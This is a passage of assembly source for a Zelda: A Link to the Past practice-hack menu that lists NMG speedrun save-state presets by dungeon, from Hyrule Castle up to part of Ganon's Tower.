text stringlengths 1 1.05M |
|---|
cm_nmg_submenu_presets:
dw cm_nmg_presets_goto_escape
dw cm_nmg_presets_goto_eastern
dw cm_nmg_presets_goto_desert
dw cm_nmg_presets_goto_hera
dw cm_nmg_presets_goto_atower
dw cm_nmg_presets_goto_pod
dw cm_nmg_presets_goto_thieves
dw cm_nmg_presets_goto_skull
dw cm_nmg_presets_goto_ice
dw cm_nmg_presets_goto_swamp
dw cm_nmg_presets_goto_mire
dw cm_nmg_presets_goto_trock
dw cm_nmg_presets_goto_gtower
dw cm_nmg_presets_goto_ganon
dw cm_nmg_presets_goto_boss
dw !menu_end
%cm_header("NMG PRESETS")
; HYRULE CASTLE
cm_nmg_presets_goto_escape:
%cm_submenu("Hyrule Castle", cm_nmg_presets_escape)
cm_nmg_presets_escape:
dw cm_nmg_esc_bed
dw cm_nmg_esc_courtyard
dw cm_nmg_esc_entrance
dw cm_nmg_esc_1st_keyguard
dw cm_nmg_esc_stealth_room
dw cm_nmg_esc_2nd_keyguard
dw cm_nmg_esc_ball_n_chains
dw cm_nmg_esc_backtracking
dw cm_nmg_esc_keyguard_revisited
dw cm_nmg_esc_throne_room
dw cm_nmg_esc_snake_avoidance_room
dw cm_nmg_esc_water_rooms
dw cm_nmg_esc_keyrat
dw cm_nmg_esc_last_two_screens
dw !menu_end
%cm_header("HYRULE CASTLE")
cm_nmg_esc_bed:
%cm_preset("Link's Bed", preset_nmg_esc_bed)
cm_nmg_esc_courtyard:
%cm_preset("Courtyard", preset_nmg_esc_courtyard)
cm_nmg_esc_entrance:
%cm_preset("Entrance", preset_nmg_esc_entrance)
cm_nmg_esc_1st_keyguard:
%cm_preset("1st Key Guard", preset_nmg_esc_1st_keyguard)
cm_nmg_esc_stealth_room:
%cm_preset("Stealth Room", preset_nmg_esc_stealth_room)
cm_nmg_esc_2nd_keyguard:
%cm_preset("2nd Key Guard", preset_nmg_esc_2nd_keyguard)
cm_nmg_esc_ball_n_chains:
%cm_preset("Ball'n Chains", preset_nmg_esc_ball_n_chains)
cm_nmg_esc_backtracking:
%cm_preset("Backtracking", preset_nmg_esc_backtracking)
cm_nmg_esc_keyguard_revisited:
%cm_preset("Key Guard Revisited", preset_nmg_esc_keyguard_revisited)
cm_nmg_esc_throne_room:
%cm_preset("Throne Room", preset_nmg_esc_throne_room)
cm_nmg_esc_snake_avoidance_room:
%cm_preset("Snake Avoidance Room", preset_nmg_esc_snake_avoidance_room)
cm_nmg_esc_water_rooms:
%cm_preset("Sewer Rooms", preset_nmg_esc_water_rooms)
cm_nmg_esc_keyrat:
%cm_preset("Key Rat", preset_nmg_esc_keyrat)
cm_nmg_esc_last_two_screens:
%cm_preset("Last Two Screens", preset_nmg_esc_last_two_screens)
; EASTERN
cm_nmg_presets_goto_eastern:
%cm_submenu("Eastern", cm_nmg_presets_eastern)
cm_nmg_presets_eastern:
dw cm_nmg_east_before_cutscene
dw cm_nmg_east_after_cutscene
dw cm_nmg_east_octoroc
dw cm_nmg_east_outside_palace
dw cm_nmg_east_entrance
dw cm_nmg_east_stalfos_room
dw cm_nmg_east_big_chest_room_1
dw cm_nmg_east_dark_key_room
dw cm_nmg_east_big_key_dmg_boost
dw cm_nmg_east_big_chest_room_2
dw cm_nmg_east_gwg
dw cm_nmg_east_pot_room
dw cm_nmg_east_zeldagamer_room
dw cm_nmg_east_armos
dw !menu_end
%cm_header("EASTERN")
cm_nmg_east_before_cutscene:
%cm_preset("Before Cutscene", preset_nmg_east_before_cutscene)
cm_nmg_east_after_cutscene:
%cm_preset("After Cutscene", preset_nmg_east_after_cutscene)
cm_nmg_east_octoroc:
%cm_preset("Octoroc OW", preset_nmg_east_octoroc)
cm_nmg_east_outside_palace:
%cm_preset("EP Overworld", preset_nmg_east_outside_palace)
cm_nmg_east_entrance:
%cm_preset("Entrance", preset_nmg_east_entrance)
cm_nmg_east_stalfos_room:
%cm_preset("Stalfos Room", preset_nmg_east_stalfos_room)
cm_nmg_east_big_chest_room_1:
%cm_preset("Big Chest Room 1", preset_nmg_east_big_chest_room_1)
cm_nmg_east_dark_key_room:
%cm_preset("Dark Key Room", preset_nmg_east_dark_key_room)
cm_nmg_east_big_key_dmg_boost:
%cm_preset("Big Key DMG Boost", preset_nmg_east_big_key_dmg_boost)
cm_nmg_east_big_chest_room_2:
%cm_preset("Big Chest Room 2", preset_nmg_east_big_chest_room_2)
cm_nmg_east_gwg:
%cm_preset("Gifted With Greenies", preset_nmg_east_gwg)
cm_nmg_east_pot_room:
%cm_preset("Pot Room", preset_nmg_east_pot_room)
cm_nmg_east_zeldagamer_room:
%cm_preset("Zeldagamer Room", preset_nmg_east_zeldagamer_room)
cm_nmg_east_armos:
%cm_preset("Armos", preset_nmg_east_armos)
; DESERT
cm_nmg_presets_goto_desert:
%cm_submenu("Desert", cm_nmg_presets_desert)
cm_nmg_presets_desert:
dw cm_nmg_desert_outside_eastern_palace
dw cm_nmg_desert_ep_spinspeed
dw cm_nmg_desert_bridge_screen
dw cm_nmg_desert_unholy_spinspeed
dw cm_nmg_desert_water_dash
dw cm_nmg_desert_outside_desert_palace
dw cm_nmg_desert_desert_entrance
dw cm_nmg_desert_keybonk
dw cm_nmg_desert_pre_cannonball_room
dw cm_nmg_desert_pot_room
dw cm_nmg_desert_desert2_spinspeed
dw cm_nmg_desert_popo_genocide_room
dw cm_nmg_desert_torches
dw cm_nmg_desert_lanmolas
dw !menu_end
%cm_header("DESERT")
cm_nmg_desert_outside_eastern_palace:
%cm_preset("Outside Eastern Palace", preset_nmg_desert_outside_eastern_palace)
cm_nmg_desert_ep_spinspeed:
%cm_preset("Eastern Palace Spinspeed", preset_nmg_desert_ep_spinspeed)
cm_nmg_desert_bridge_screen:
%cm_preset("Bridge Screen", preset_nmg_desert_bridge_screen)
cm_nmg_desert_unholy_spinspeed:
%cm_preset("Unholy Spinspeed", preset_nmg_desert_unholy_spinspeed)
cm_nmg_desert_water_dash:
%cm_preset("Water Dash", preset_nmg_desert_water_dash)
cm_nmg_desert_outside_desert_palace:
%cm_preset("Outside Desert Palace", preset_nmg_desert_outside_desert_palace)
cm_nmg_desert_desert_entrance:
%cm_preset("Entrance", preset_nmg_desert_desert_entrance)
cm_nmg_desert_keybonk:
%cm_preset("Key Bonk", preset_nmg_desert_keybonk)
cm_nmg_desert_pre_cannonball_room:
%cm_preset("Pre Cannonball Room", preset_nmg_desert_pre_cannonball_room)
cm_nmg_desert_pot_room:
%cm_preset("Pot Room", preset_nmg_desert_pot_room)
cm_nmg_desert_desert2_spinspeed:
%cm_preset("Desert 2 Spinspeed", preset_nmg_desert_desert2_spinspeed)
cm_nmg_desert_popo_genocide_room:
%cm_preset("Popo Genocide", preset_nmg_desert_popo_genocide_room)
cm_nmg_desert_torches:
%cm_preset("Torches", preset_nmg_desert_torches)
cm_nmg_desert_lanmolas:
%cm_preset("Lanmolas", preset_nmg_desert_lanmolas)
; HERA
cm_nmg_presets_goto_hera:
%cm_submenu("Hera", cm_nmg_presets_hera)
cm_nmg_presets_hera:
dw cm_nmg_hera_outside_desert_palace
dw cm_nmg_hera_fake_flippers
dw cm_nmg_hera_dm
dw cm_nmg_hera_after_mirror
dw cm_nmg_hera_quickhop
dw cm_nmg_hera_entrance
dw cm_nmg_hera_tile_room
dw cm_nmg_hera_torches
dw cm_nmg_hera_beetles
dw cm_nmg_hera_petting_zoo
dw cm_nmg_hera_moldorm
dw !menu_end
%cm_header("HERA")
cm_nmg_hera_outside_desert_palace:
%cm_preset("Outside Desert Palace", preset_nmg_hera_outside_desert_palace)
cm_nmg_hera_fake_flippers:
%cm_preset("Fake Flippers", preset_nmg_hera_fake_flippers)
cm_nmg_hera_dm:
%cm_preset("Death Mountain", preset_nmg_hera_dm)
cm_nmg_hera_after_mirror:
%cm_preset("After Mirror", preset_nmg_hera_after_mirror)
cm_nmg_hera_quickhop:
%cm_preset("Quickhop", preset_nmg_hera_quickhop)
cm_nmg_hera_entrance:
%cm_preset("Entrance", preset_nmg_hera_entrance)
cm_nmg_hera_tile_room:
%cm_preset("Tile room", preset_nmg_hera_tile_room)
cm_nmg_hera_torches:
%cm_preset("Torches", preset_nmg_hera_torches)
cm_nmg_hera_beetles:
%cm_preset("Beetles", preset_nmg_hera_beetles)
cm_nmg_hera_petting_zoo:
%cm_preset("Petting Zoo", preset_nmg_hera_petting_zoo)
cm_nmg_hera_moldorm:
%cm_preset("Moldorm", preset_nmg_hera_moldorm)
; AGAHNIMS TOWER
cm_nmg_presets_goto_atower:
%cm_submenu("Agahnim's Tower", cm_nmg_presets_atower)
cm_nmg_presets_atower:
dw cm_nmg_aga_outside_hera
dw cm_nmg_aga_first_rupee_tree
dw cm_nmg_aga_lost_woods
dw cm_nmg_aga_after_grove
dw cm_nmg_aga_after_lost_woods
dw cm_nmg_aga_castle_screen
dw cm_nmg_aga_entrance
dw cm_nmg_aga_fairy_skip
dw cm_nmg_aga_dark_room_of_despair
dw cm_nmg_aga_dark_room_of_melancholy
dw cm_nmg_aga_spear_guards
dw cm_nmg_aga_circle_of_pots
dw cm_nmg_aga_pit_room
dw cm_nmg_aga_agahnim
dw !menu_end
%cm_header("AGAHNIMS TOWER")
cm_nmg_aga_outside_hera:
%cm_preset("Outside Hera", preset_nmg_aga_outside_hera)
cm_nmg_aga_first_rupee_tree:
%cm_preset("First Rupee Tree", preset_nmg_aga_first_rupee_tree)
cm_nmg_aga_lost_woods:
%cm_preset("Lost Woods", preset_nmg_aga_lost_woods)
cm_nmg_aga_after_grove:
%cm_preset("After Grove", preset_nmg_aga_after_grove)
cm_nmg_aga_after_lost_woods:
%cm_preset("After Lost Woods", preset_nmg_aga_after_lost_woods)
cm_nmg_aga_castle_screen:
%cm_preset("Castle Screen", preset_nmg_aga_castle_screen)
cm_nmg_aga_entrance:
%cm_preset("Entrance", preset_nmg_aga_entrance)
cm_nmg_aga_fairy_skip:
%cm_preset("Fairy Skip", preset_nmg_aga_fairy_skip)
cm_nmg_aga_dark_room_of_despair:
%cm_preset("Dark Room of Despair", preset_nmg_aga_dark_room_of_despair)
cm_nmg_aga_dark_room_of_melancholy:
%cm_preset("Dark Room of Melancholy", preset_nmg_aga_dark_room_of_melancholy)
cm_nmg_aga_spear_guards:
%cm_preset("Spear Guards", preset_nmg_aga_spear_guards)
cm_nmg_aga_circle_of_pots:
%cm_preset("Circle of Pots", preset_nmg_aga_circle_of_pots)
cm_nmg_aga_pit_room:
%cm_preset("Pit Room", preset_nmg_aga_pit_room)
cm_nmg_aga_agahnim:
%cm_preset("Agahnim", preset_nmg_aga_agahnim)
; PALACE OF DARKNESS
cm_nmg_presets_goto_pod:
%cm_submenu("Palace of Darkness", cm_nmg_presets_pod)
cm_nmg_presets_pod:
dw cm_nmg_pod_pyramid
dw cm_nmg_pod_pod_overworld
dw cm_nmg_pod_entrance
dw cm_nmg_pod_main_hub_small_key
dw cm_nmg_pod_main_hub_bk
dw cm_nmg_pod_main_hub_hammeryump
dw cm_nmg_pod_hammeryump
dw cm_nmg_pod_before_sexy_statue
dw cm_nmg_pod_sexy_statue_room
dw cm_nmg_pod_mimics
dw cm_nmg_pod_statue
dw cm_nmg_pod_basement
dw cm_nmg_pod_turtle_room
dw cm_nmg_pod_helma
dw !menu_end
%cm_header("PALACE OF DARKNESS")
cm_nmg_pod_pyramid:
%cm_preset("Pyramid", preset_nmg_pod_pyramid)
cm_nmg_pod_pod_overworld:
%cm_preset("Palace Overworld Screen", preset_nmg_pod_pod_overworld)
cm_nmg_pod_entrance:
%cm_preset("Entrance", preset_nmg_pod_entrance)
cm_nmg_pod_main_hub_small_key:
%cm_preset("Main Hub (small key)", preset_nmg_pod_main_hub_small_key)
cm_nmg_pod_main_hub_bk:
%cm_preset("Main Hub (bk)", preset_nmg_pod_main_hub_bk)
cm_nmg_pod_main_hub_hammeryump:
%cm_preset("Main Hub (hammeryump)", preset_nmg_pod_main_hub_hammeryump)
cm_nmg_pod_hammeryump:
%cm_preset("Hammeryump", preset_nmg_pod_hammeryump)
cm_nmg_pod_before_sexy_statue:
%cm_preset("Pre Sexy Statue", preset_nmg_pod_before_sexy_statue)
cm_nmg_pod_sexy_statue_room:
%cm_preset("Sexy Statue Room", preset_nmg_pod_sexy_statue_room)
cm_nmg_pod_mimics:
%cm_preset("Mimics", preset_nmg_pod_mimics)
cm_nmg_pod_statue:
%cm_preset("Statue", preset_nmg_pod_statue)
cm_nmg_pod_basement:
%cm_preset("Basement", preset_nmg_pod_basement)
cm_nmg_pod_turtle_room:
%cm_preset("Turtle Room", preset_nmg_pod_turtle_room)
cm_nmg_pod_helma:
%cm_preset("Helma", preset_nmg_pod_helma)
; THIEVES TOWN
cm_nmg_presets_goto_thieves:
%cm_submenu("Thieves' Town", cm_nmg_presets_thieves)
cm_nmg_presets_thieves:
dw cm_nmg_thieves_outside_pod
dw cm_nmg_thieves_ow_hammerdash
dw cm_nmg_thieves_grove
dw cm_nmg_thieves_usain_bolt
dw cm_nmg_thieves_after_activating_flute
dw cm_nmg_thieves_darkworld
dw cm_nmg_thieves_entrance
dw cm_nmg_thieves_after_big_key
dw cm_nmg_thieves_blind_hallway
dw cm_nmg_thieves_conveyor_gibos
dw cm_nmg_thieves_hellway
dw cm_nmg_thieves_bombable_floor
dw cm_nmg_thieves_backtracking_1
dw cm_nmg_thieves_basement
dw cm_nmg_thieves_prison
dw cm_nmg_thieves_after_gloves
dw cm_nmg_thieves_backtracking_2
dw cm_nmg_thieves_pot_hammerdash
dw cm_nmg_thieves_blind
dw !menu_end
%cm_header("THIEVES TOWN")
cm_nmg_thieves_outside_pod:
%cm_preset("Outside PoD", preset_nmg_thieves_outside_pod)
cm_nmg_thieves_ow_hammerdash:
%cm_preset("Overworld Hammerdash", preset_nmg_thieves_ow_hammerdash)
cm_nmg_thieves_grove:
%cm_preset("Grove", preset_nmg_thieves_grove)
cm_nmg_thieves_usain_bolt:
%cm_preset("Usain Bolt", preset_nmg_thieves_usain_bolt)
cm_nmg_thieves_after_activating_flute:
%cm_preset("After Activating Flute", preset_nmg_thieves_after_activating_flute)
cm_nmg_thieves_darkworld:
%cm_preset("After Warp", preset_nmg_thieves_darkworld)
cm_nmg_thieves_entrance:
%cm_preset("Entrance", preset_nmg_thieves_entrance)
cm_nmg_thieves_after_big_key:
%cm_preset("After Big Key", preset_nmg_thieves_after_big_key)
cm_nmg_thieves_blind_hallway:
%cm_preset("Stalfos Hallway", preset_nmg_thieves_blind_hallway)
cm_nmg_thieves_conveyor_gibos:
%cm_preset("Conveyor Gibos", preset_nmg_thieves_conveyor_gibos)
cm_nmg_thieves_hellway:
%cm_preset("Hellway", preset_nmg_thieves_hellway)
cm_nmg_thieves_bombable_floor:
%cm_preset("Bombable Floor", preset_nmg_thieves_bombable_floor)
cm_nmg_thieves_backtracking_1:
%cm_preset("Backtracking", preset_nmg_thieves_backtracking_1)
cm_nmg_thieves_basement:
%cm_preset("Basement", preset_nmg_thieves_basement)
cm_nmg_thieves_prison:
%cm_preset("Prison", preset_nmg_thieves_prison)
cm_nmg_thieves_after_gloves:
%cm_preset("Gloves", preset_nmg_thieves_after_gloves)
cm_nmg_thieves_backtracking_2:
%cm_preset("Backtracking", preset_nmg_thieves_backtracking_2)
cm_nmg_thieves_pot_hammerdash:
%cm_preset("Pot Hammerdash", preset_nmg_thieves_pot_hammerdash)
cm_nmg_thieves_blind:
%cm_preset("Blind", preset_nmg_thieves_blind)
; SKULL WOODS
cm_nmg_presets_goto_skull:
%cm_submenu("Skull Woods", cm_nmg_presets_skull)
cm_nmg_presets_skull:
dw cm_nmg_sw_outside_thieves
dw cm_nmg_sw_cursed_dwarf
dw cm_nmg_sw_getting_tempered
dw cm_nmg_sw_fence_dash
dw cm_nmg_sw_dash_to_sw
dw cm_nmg_sw_mummy_room
dw cm_nmg_sw_bomb_jump
dw cm_nmg_sw_key_pot
dw cm_nmg_sw_skull_entrance
dw cm_nmg_sw_mummy_hellway
dw cm_nmg_sw_mummy_key
dw cm_nmg_sw_mothula
dw !menu_end
%cm_header("SKULL WOODS")
cm_nmg_sw_outside_thieves:
%cm_preset("Outside Thieves", preset_nmg_sw_outside_thieves)
cm_nmg_sw_cursed_dwarf:
%cm_preset("Cursed Dwarf", preset_nmg_sw_cursed_dwarf)
cm_nmg_sw_getting_tempered:
%cm_preset("Getting Tempered", preset_nmg_sw_getting_tempered)
cm_nmg_sw_fence_dash:
%cm_preset("Fencedash", preset_nmg_sw_fence_dash)
cm_nmg_sw_dash_to_sw:
%cm_preset("Dash to Skull Woods", preset_nmg_sw_dash_to_sw)
cm_nmg_sw_mummy_room:
%cm_preset("Mummy Room", preset_nmg_sw_mummy_room)
cm_nmg_sw_bomb_jump:
%cm_preset("Bomb Jump", preset_nmg_sw_bomb_jump)
cm_nmg_sw_key_pot:
%cm_preset("Key Pot", preset_nmg_sw_key_pot)
cm_nmg_sw_skull_entrance:
%cm_preset("Skull Entrance", preset_nmg_sw_skull_entrance)
cm_nmg_sw_mummy_hellway:
%cm_preset("Mummy Hellway", preset_nmg_sw_mummy_hellway)
cm_nmg_sw_mummy_key:
%cm_preset("Mummy Key", preset_nmg_sw_mummy_key)
cm_nmg_sw_mothula:
%cm_preset("Mothula", preset_nmg_sw_mothula)
; ICE PALACE
cm_nmg_presets_goto_ice:
%cm_submenu("Ice Palace", cm_nmg_presets_ice)
cm_nmg_presets_ice:
dw cm_nmg_ice_outside_skull
dw cm_nmg_ice_bridge_warp
dw cm_nmg_ice_lottery
dw cm_nmg_ice_medallion
dw cm_nmg_ice_zoras_domain
dw cm_nmg_ice_tiny_warp
dw cm_nmg_ice_ice_entrance
dw cm_nmg_ice_ice2
dw cm_nmg_ice_penguin_switch_room
dw cm_nmg_ice_bombable_floor
dw cm_nmg_ice_conveyor_room
dw cm_nmg_ice_ipbj
dw cm_nmg_ice_penguin_room
dw cm_nmg_ice_lonely_firebar
dw cm_nmg_ice_last_two_screens
dw cm_nmg_ice_kholdstare
dw !menu_end
%cm_header("ICE PALACE")
cm_nmg_ice_outside_skull:
%cm_preset("Outside Skull", preset_nmg_ice_outside_skull)
cm_nmg_ice_bridge_warp:
%cm_preset("Bridge Warp", preset_nmg_ice_bridge_warp)
cm_nmg_ice_lottery:
%cm_preset("Lottery", preset_nmg_ice_lottery)
cm_nmg_ice_medallion:
%cm_preset("Medallion", preset_nmg_ice_medallion)
cm_nmg_ice_zoras_domain:
%cm_preset("Zoras Domain", preset_nmg_ice_zoras_domain)
cm_nmg_ice_tiny_warp:
%cm_preset("Tiny Warp Dik", preset_nmg_ice_tiny_warp)
cm_nmg_ice_ice_entrance:
%cm_preset("Entrance", preset_nmg_ice_ice_entrance)
cm_nmg_ice_ice2:
%cm_preset("Ice 2", preset_nmg_ice_ice2)
cm_nmg_ice_penguin_switch_room:
%cm_preset("Penguin Switch Room", preset_nmg_ice_penguin_switch_room)
cm_nmg_ice_bombable_floor:
%cm_preset("Bombable Floor", preset_nmg_ice_bombable_floor)
cm_nmg_ice_conveyor_room:
%cm_preset("Conveyor Room", preset_nmg_ice_conveyor_room)
cm_nmg_ice_ipbj:
%cm_preset("IPBJ", preset_nmg_ice_ipbj)
cm_nmg_ice_penguin_room:
%cm_preset("Penguin Lineup Room", preset_nmg_ice_penguin_room)
cm_nmg_ice_lonely_firebar:
%cm_preset("Lonely Firebar", preset_nmg_ice_lonely_firebar)
cm_nmg_ice_last_two_screens:
%cm_preset("Last Two Screens", preset_nmg_ice_last_two_screens)
cm_nmg_ice_kholdstare:
%cm_preset("Kholdstare", preset_nmg_ice_kholdstare)
; SWAMP PALACE
cm_nmg_presets_goto_swamp:
%cm_submenu("Swamp Palace", cm_nmg_presets_swamp)
cm_nmg_presets_swamp:
dw cm_nmg_swamp_outside_ice
dw cm_nmg_swamp_links_house
dw cm_nmg_swamp_swamp_overworld
dw cm_nmg_swamp_antifairy_room
dw cm_nmg_swamp_entrance
dw cm_nmg_swamp_first_key_pot
dw cm_nmg_swamp_hallway_key_1
dw cm_nmg_swamp_water_lever_1
dw cm_nmg_swamp_main_hub
dw cm_nmg_swamp_water_lever_2
dw cm_nmg_swamp_sociable_firebar
dw cm_nmg_swamp_backtracking
dw cm_nmg_swamp_hook_shot
dw cm_nmg_swamp_hookdash
dw cm_nmg_swamp_water_lever_3
dw cm_nmg_swamp_restock
dw cm_nmg_swamp_phelps_way
dw cm_nmg_swamp_arrghus
dw !menu_end
%cm_header("SWAMP PALACE")
cm_nmg_swamp_outside_ice:
%cm_preset("Outside Ice", preset_nmg_swamp_outside_ice)
cm_nmg_swamp_links_house:
%cm_preset("Link's House", preset_nmg_swamp_links_house)
cm_nmg_swamp_swamp_overworld:
%cm_preset("Swamp Overworld", preset_nmg_swamp_swamp_overworld)
cm_nmg_swamp_antifairy_room:
%cm_preset("Antifairy Room", preset_nmg_swamp_antifairy_room)
cm_nmg_swamp_entrance:
%cm_preset("Entrance", preset_nmg_swamp_entrance)
cm_nmg_swamp_first_key_pot:
%cm_preset("First Key Pot", preset_nmg_swamp_first_key_pot)
cm_nmg_swamp_hallway_key_1:
%cm_preset("Tiny Hallway Key", preset_nmg_swamp_hallway_key_1)
cm_nmg_swamp_water_lever_1:
%cm_preset("Water Lever 1", preset_nmg_swamp_water_lever_1)
cm_nmg_swamp_main_hub:
%cm_preset("Main Hub", preset_nmg_swamp_main_hub)
cm_nmg_swamp_water_lever_2:
%cm_preset("Water Lever 2", preset_nmg_swamp_water_lever_2)
cm_nmg_swamp_sociable_firebar:
%cm_preset("Sociable Firebar", preset_nmg_swamp_sociable_firebar)
cm_nmg_swamp_backtracking:
%cm_preset("Backtracking", preset_nmg_swamp_backtracking)
cm_nmg_swamp_hook_shot:
%cm_preset("Hookshot", preset_nmg_swamp_hook_shot)
cm_nmg_swamp_hookdash:
%cm_preset("Hookdash", preset_nmg_swamp_hookdash)
cm_nmg_swamp_water_lever_3:
%cm_preset("Water Lever 3", preset_nmg_swamp_water_lever_3)
cm_nmg_swamp_restock:
%cm_preset("Restock Room", preset_nmg_swamp_restock)
cm_nmg_swamp_phelps_way:
%cm_preset("Phelps Way", preset_nmg_swamp_phelps_way)
cm_nmg_swamp_arrghus:
%cm_preset("Arrghus", preset_nmg_swamp_arrghus)
; MISERY MIRE
cm_nmg_presets_goto_mire:
%cm_submenu("Misery Mire", cm_nmg_presets_mire)
cm_nmg_presets_mire:
dw cm_nmg_mire_outside_swamp
dw cm_nmg_mire_dm
dw cm_nmg_mire_free_flutedash
dw cm_nmg_mire_darkworld_warp
dw cm_nmg_mire_entrance
dw cm_nmg_mire_mire2
dw cm_nmg_mire_main_hub
dw cm_nmg_mire_beat_the_fireball
dw cm_nmg_mire_bari_key
dw cm_nmg_mire_sluggulas
dw cm_nmg_mire_torches
dw cm_nmg_mire_spark_gamble
dw cm_nmg_mire_big_chest_room
dw cm_nmg_mire_spike_key
dw cm_nmg_mire_wizzrobe
dw cm_nmg_mire_basement
dw cm_nmg_mire_spooky_action_1
dw cm_nmg_mire_spooky_action_2
dw cm_nmg_mire_vitty
dw !menu_end
%cm_header("MISERY MIRE")
cm_nmg_mire_outside_swamp:
%cm_preset("Outside Swamp", preset_nmg_mire_outside_swamp)
cm_nmg_mire_dm:
%cm_preset("Death Mountain", preset_nmg_mire_dm)
cm_nmg_mire_free_flutedash:
%cm_preset("Free Flutedash", preset_nmg_mire_free_flutedash)
cm_nmg_mire_darkworld_warp:
%cm_preset("Mire Overworld Screen", preset_nmg_mire_darkworld_warp)
cm_nmg_mire_entrance:
%cm_preset("Mire Entrance", preset_nmg_mire_entrance)
cm_nmg_mire_mire2:
%cm_preset("Mire 2", preset_nmg_mire_mire2)
cm_nmg_mire_main_hub:
%cm_preset("Main Hub", preset_nmg_mire_main_hub)
cm_nmg_mire_beat_the_fireball:
%cm_preset("Beat the Fireball", preset_nmg_mire_beat_the_fireball)
cm_nmg_mire_bari_key:
%cm_preset("Bari Key", preset_nmg_mire_bari_key)
cm_nmg_mire_sluggulas:
%cm_preset("Sluggulas", preset_nmg_mire_sluggulas)
cm_nmg_mire_torches:
%cm_preset("Torches", preset_nmg_mire_torches)
cm_nmg_mire_spark_gamble:
%cm_preset("Spark Gamble", preset_nmg_mire_spark_gamble)
cm_nmg_mire_big_chest_room:
%cm_preset("Big Chest Room", preset_nmg_mire_big_chest_room)
cm_nmg_mire_spike_key:
%cm_preset("Spike Key", preset_nmg_mire_spike_key)
cm_nmg_mire_wizzrobe:
%cm_preset("Wizzrobe", preset_nmg_mire_wizzrobe)
cm_nmg_mire_basement:
%cm_preset("Basement", preset_nmg_mire_basement)
cm_nmg_mire_spooky_action_1:
%cm_preset("Spooky Action 1", preset_nmg_mire_spooky_action_1)
cm_nmg_mire_spooky_action_2:
%cm_preset("Spooky Action 2", preset_nmg_mire_spooky_action_2)
cm_nmg_mire_vitty:
%cm_preset("Vitreous", preset_nmg_mire_vitty)
; TURTLE ROCK
cm_nmg_presets_goto_trock:
%cm_submenu("Turtle Rock", cm_nmg_presets_trock)
cm_nmg_presets_trock:
dw cm_nmg_trock_outside_mire
dw cm_nmg_trock_icerod_overworld
dw cm_nmg_trock_dm
dw cm_nmg_trock_squirrels
dw cm_nmg_trock_peg_puzzle
dw cm_nmg_trock_entrance
dw cm_nmg_trock_torches
dw cm_nmg_trock_roller_room
dw cm_nmg_trock_pokey_0
dw cm_nmg_trock_chomps
dw cm_nmg_trock_pokey_1
dw cm_nmg_trock_pokeys_2
dw cm_nmg_trock_crystal_roller
dw cm_nmg_trock_dark_room
dw cm_nmg_trock_laser_skip
dw cm_nmg_trock_switch_room
dw cm_nmg_trock_trinexx
dw !menu_end
%cm_header("TURTLE ROCK")
cm_nmg_trock_outside_mire:
%cm_preset("Outside Mire", preset_nmg_trock_outside_mire)
cm_nmg_trock_icerod_overworld:
%cm_preset("Ice Rod Overworld", preset_nmg_trock_icerod_overworld)
cm_nmg_trock_dm:
%cm_preset("Death Mountain", preset_nmg_trock_dm)
cm_nmg_trock_squirrels:
%cm_preset("Squirrels", preset_nmg_trock_squirrels)
cm_nmg_trock_peg_puzzle:
%cm_preset("Peg Puzzle", preset_nmg_trock_peg_puzzle)
cm_nmg_trock_entrance:
%cm_preset("Entrance", preset_nmg_trock_entrance)
cm_nmg_trock_torches:
%cm_preset("Torches", preset_nmg_trock_torches)
cm_nmg_trock_roller_room:
%cm_preset("Roller Room", preset_nmg_trock_roller_room)
cm_nmg_trock_pokey_0:
%cm_preset("Pokey 0", preset_nmg_trock_pokey_0)
cm_nmg_trock_chomps:
%cm_preset("Chomps", preset_nmg_trock_chomps)
cm_nmg_trock_pokey_1:
%cm_preset("Pokey 1", preset_nmg_trock_pokey_1)
cm_nmg_trock_pokeys_2:
%cm_preset("Pokeys 2", preset_nmg_trock_pokeys_2)
cm_nmg_trock_crystal_roller:
%cm_preset("Crystal Roller", preset_nmg_trock_crystal_roller)
cm_nmg_trock_dark_room:
%cm_preset("Dark Room", preset_nmg_trock_dark_room)
cm_nmg_trock_laser_skip:
%cm_preset("Laser Skip", preset_nmg_trock_laser_skip)
cm_nmg_trock_switch_room:
%cm_preset("Switch Room", preset_nmg_trock_switch_room)
cm_nmg_trock_trinexx:
%cm_preset("Trinexx", preset_nmg_trock_trinexx)
; GANONS TOWER
cm_nmg_presets_goto_gtower:
%cm_submenu("Ganon's Tower", cm_nmg_presets_gtower)
cm_nmg_presets_gtower:
dw cm_nmg_gtower_outside_trock
dw cm_nmg_gtower_entrance
dw cm_nmg_gtower_spike_skip
dw cm_nmg_gtower_pre_firesnakes_room
dw cm_nmg_gtower_bombable_floor
dw cm_nmg_gtower_ice_armos
dw cm_nmg_gtower_floor_2
dw cm_nmg_gtower_mimics1
dw cm_nmg_gtower_mimics2
dw cm_nmg_gtower_spike_room
dw cm_nmg_gtower_gauntlet
dw cm_nmg_gtower_gauntlet_3
dw cm_nmg_gtower_lanmola2
dw cm_nmg_gtower_wizz1
dw cm_nmg_gtower_wizz2
dw cm_nmg_gtower_torches1
dw cm_nmg_gtower_torches2
dw cm_nmg_gtower_helma_key
dw cm_nmg_gtower_bombable_wall
dw cm_nmg_gtower_moldorm_2
dw cm_nmg_gtower_agahnim_2
dw !menu_end
%cm_header("GANONS TOWER")
cm_nmg_gtower_outside_trock:
%cm_preset("Outside Turtle Rock", preset_nmg_gtower_outside_trock)
cm_nmg_gtower_entrance:
%cm_preset("Entrance", preset_nmg_gtower_entrance)
cm_nmg_gtower_spike_skip:
%cm_preset("Spike Skip", preset_nmg_gtower_spike_skip)
cm_nmg_gtower_pre_firesnakes_room:
%cm_preset("Pre Firesnakes Room", preset_nmg_gtower_pre_firesnakes_room)
cm_nmg_gtower_bombable_floor:
%cm_preset("Bombable Floor", preset_nmg_gtower_bombable_floor)
cm_nmg_gtower_ice_armos:
%cm_preset("Ice Armos", preset_nmg_gtower_ice_armos)
cm_nmg_gtower_floor_2:
%cm_preset("Floor 2", preset_nmg_gtower_floor_2)
cm_nmg_gtower_mimics1:
%cm_preset("Mimics 1", preset_nmg_gtower_mimics1)
cm_nmg_gtower_mimics2:
%cm_preset("Mimics 2", preset_nmg_gtower_mimics2)
cm_nmg_gtower_spike_room:
%cm_preset("Spike Room", preset_nmg_gtower_spike_room)
cm_nmg_gtower_gauntlet:
%cm_preset("Gauntlet 1", preset_nmg_gtower_gauntlet)
cm_nmg_gtower_gauntlet_3:
%cm_preset("Gauntlet 3", preset_nmg_gtower_gauntlet_3)
cm_nmg_gtower_lanmola2:
%cm_preset("Lanmola 2", preset_nmg_gtower_lanmola2)
cm_nmg_gtower_wizz1:
%cm_preset("Wizzrobes 1", preset_nmg_gtower_wizz1)
cm_nmg_gtower_wizz2:
